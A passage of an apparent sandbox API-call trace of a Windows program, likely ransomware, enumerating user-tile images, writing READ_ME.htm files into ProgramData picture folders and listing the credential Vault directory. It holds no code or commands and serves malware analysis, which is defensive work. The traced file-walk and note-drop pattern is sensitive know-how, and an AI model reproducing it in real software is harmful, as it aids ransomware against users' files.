hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0139.501] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0139.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0139.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0139.504] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0139.504] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.505] SetErrorMode (uMode=0x0) returned 0x1 [0139.506] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0139.506] SetErrorMode (uMode=0x1) returned 0x0 [0139.506] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.509] SetErrorMode (uMode=0x0) returned 0x1 [0139.509] GetFileType (hFile=0x1d0) returned 0x1 [0139.509] WriteFile (in: hFile=0x1d0, lpBuffer=0x28cf840*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28cf840*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.511] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x3a [0139.511] SetErrorMode (uMode=0x1) returned 0x0 [0139.511] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\user account pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.512] SetErrorMode (uMode=0x0) returned 0x1 [0139.512] GetFileType (hFile=0x1d0) returned 0x1 [0139.512] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d3df0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28d3df0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.514] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault", lpFilePart=0x0) returned 0x1e [0139.514] SetErrorMode (uMode=0x1) returned 0x0 [0139.514] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*" (normalized: "c:\\programdata\\microsoft\\vault\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.515] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.515] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.515] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.515] SetErrorMode (uMode=0x0) returned 0x1 [0139.515] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault", lpFilePart=0x0) returned 0x1e [0139.515] SetErrorMode (uMode=0x1) returned 0x0 [0139.515] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*" (normalized: "c:\\programdata\\microsoft\\vault\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.516] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.516] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, 